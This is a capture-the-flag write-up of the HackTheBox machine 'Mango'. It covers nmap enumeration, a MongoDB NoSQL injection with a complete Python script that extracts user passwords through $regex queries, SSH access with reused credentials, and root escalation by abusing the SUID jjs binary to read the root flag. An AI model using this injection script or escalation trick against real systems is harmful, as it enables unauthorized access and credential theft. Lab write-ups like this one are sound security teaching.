Mango – HackTheBox WriteUp

post image

Summary

Mango just retired today. I had lots of fun solving it and I finally learned about NoSQL injections. Its IP address is ‘10.10.10.162’ and I added it to ‘/etc/hosts’ as ‘mango.htb’. Without further ado, let’s jump right in!

Scanning & Sub-Domain Enum

As always, a light nmap scan was enough to get me started:

root@fury-battlestation:~/htb/blog/mango# nmap -O -sV mango.htb -oN scan.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-29 11:45 EST
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.12s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.29 ((Ubuntu))
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=12/29%OT=22%CT=1%CU=32119%PV=Y%DS=2%DC=I%G=Y%TM=5E08D8
OS:62%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=108%TI=Z%CI=Z%TS=A)SEQ(SP=
OS:104%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%
OS:O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2
OS:=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNS
OS:NW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%
OS:DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.06 seconds
root@fury-battlestation:~/htb/blog/mango#

When I tried accessing port 80, I got a 403 error:

However, port 443 returned a funny clone of Google called ‘Mango’:

Before testing this app for vulnerabilities, I mad sure the HTTPS certificate couldn’t be used to find other domains:

root@fury-battlestation:~/htb/blog/mango# nmap --script=ssl-cert -p 443 mango.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-29 11:50 EST
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.12s latency).

PORT    STATE SERVICE
443/tcp open  https
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Issuer: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-09-27T14:21:19
| Not valid after:  2020-09-26T14:21:19
| MD5:   b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6
|_SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95

Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds
root@fury-battlestation:~/htb/blog/mango# 

The script discovered a sub-domain, so I tied accessing it. However, the page was identical to the one I got before:

After searching round for a bit, I realized I haven’t accessed the new sub-domain via HTTP yet. I did that and discovered a new sub-domain:

Exploiting MongoDB

Since the machine name is Mango, I though that the backend database engine is almost certainly MongoDB. I used this cheatsheet to test for a possible NoSQL injection, and I found one :). I then tried logging in with multiple usernames and found that ‘mango’ was a valid one. The script below gave me the password for that user:

import requests
import sys
import hashlib
import string
import progressbar

url = "http://staging-order.mango.htb/"
login = "login"
username = "mango"

alphabet = string.printable.replace("*", "").replace("+", "").replace(".", "").replace("?", "").replace("|", "")
pwd = ""

def isPartialPassword(pwd):
	r = requests.post(url, data={'login': 'login', 'username': username, 'password[$regex]': "^" + pwd}, allow_redirects=False)
	return r.status_code == 302

def isFullPassword(pwd):
	r = requests.post(url, data={'login': 'login', 'username': username, 'password': pwd}, allow_redirects=False)
	return r.status_code == 302

while not isFullPassword(pwd):
	print("Searching for char...")
	bar = progressbar.ProgressBar(max_value=len(alphabet))
	bar.update(0)
	for ch in alphabet:
		if isPartialPassword(pwd + ch):
			pwd += ch
			print("New password: {}".format(pwd))
			break
		bar.update(alphabet.find(ch))

print("Password for {}: {}".format(username, pwd))

After letting it run for a few minutes, I got the user’s password:

root@fury-battlestation:~/htb/blog/mango# python login.py 
Searching for char...
 16% (16 of 95) |#######                                    | Elapsed Time: 0:00:07 ETA:   0:00:31
[...]
New password: h3mXK8RhU~f{]f5
Searching for char...
 44% (42 of 95) |###################                        | Elapsed Time: 0:00:23 ETA:   0:00:28
New password: h3mXK8RhU~f{]f5H
Password for mango: h3mXK8RhU~f{]f5H
root@fury-battlestation:~/htb/blog/mango#

I used ‘h3mXK8RhU~f{]f5H’ to log in to the application and I got the following page:

I tried seeing if there is any user named ‘admin’, and there was. His password might come in handy, so I used the same script to get his password (I just changed the username variable from “mango” to “admin”):

root@fury-battlestation:~/htb/blog/mango# sed -i 's/username = "mango"/username = "admin"/g' login.py 
root@fury-battlestation:~/htb/blog/mango# python login.py 
Searching for char...
 29% (28 of 95) |############                               | Elapsed Time: 0:00:14 ETA:   0:00:38
New password: t
[...]
New password: t9KcS3>!0B#
Searching for char...
  1% (1 of 95) |                                            | Elapsed Time: 0:00:00 ETA:   0:01:30
New password: t9KcS3>!0B#2
Password for admin: t9KcS3>!0B#2
root@fury-battlestation:~/htb/blog/mango#

However, the admin page looked exactly the same:

Getting user.txt

After a bit of playing around, I tried to log in with SSH using the website credentials. It worked, but only for the mango user:

root@fury-battlestation:~/htb/blog/mango# ssh mango@mango.htb
mango@mango.htb;s password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0

 * Kata Containers are now fully integrated in Charmed Kubernetes 1.16!
   Yes, charms take the Krazy out of K8s Kata Kluster Konstruction.

     https://ubuntu.com/kubernetes/docs/release-notes

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Dec 29 17:19:49 2019 from 10.10.14.28
mango@mango:~$ ls ~
mango@mango:~$

There was no ‘user.txt’ file, so I enumerated the users on the machine:

mango@mango:~$ ls -l /home
total 8
drwxr-xr-x 2 admin admin 4096 Sep 30 03:20 admin
drwxr-xr-x 4 mango mango 4096 Sep 28 15:27 mango
mango@mango:~$

There was an user called admin, so I tried using su to pivot to his account (I used admin’s web platform password):

mango@mango:~$ su -l admin
Password: 
$ /bin/bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@mango:/home/admin$ wc -c user.txt 
33 user.txt
admin@mango:/home/admin$

The user proof starts with ’79’ 😉

Exploiting jjs to get root

Once I submitted the user proof, I started enumerating the machine again. While reading through the SUID binaries, one stood out:

admin@mango:/home/admin$ find / -perm -4000 2> /dev/null
/bin/fusermount
/bin/mount
/bin/umount
/bin/su
/bin/ping
[not_important_binaries]
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
admin@mango:/home/admin$

I didn’t know what ‘jjs’ was, so I searched Google and I found the following explanation on Oracle’s site:

The jjs command-line tool is used to invoke the Nashorn engine. You can use it to interpret one or several script files, or to run an interactive shell.

Link
Helpful, as always : . Fortunately, I also found the jjs binary on GTFOBins. The basic idea is that an attacker can execute a specially crafted Java program that executes bash commands.
admin@mango:/home/admin$ echo "Java.type('java.lang.Runtime').getRuntime().exec('cp /root/root.txt /home/admin/yakuhito').waitFor()" | jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('cp /root/root.txt /home/admin/yakuhito').waitFor()
0
jjs> admin@mango:/home/admin$ echo "Java.type('java.lang.Runtime').getRuntime().exec('chmod 777 /hdmin/yakuhito').waitFor()" | jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod 777 /home/admin/yakuhito').waitFor()
0
jjs> admin@mango:/home/admin$ wc -c /home/admin/yakuhito 
33 /home/admin/yakuhito
admin@mango:/home/admin$

The first two characters of the root proof are ‘8a’ 😉

If you liked this post and want to support me, please follow me on Twitter 🙂

Until next time, hack the world.

yakuhito, over.

Published on April 18, 2020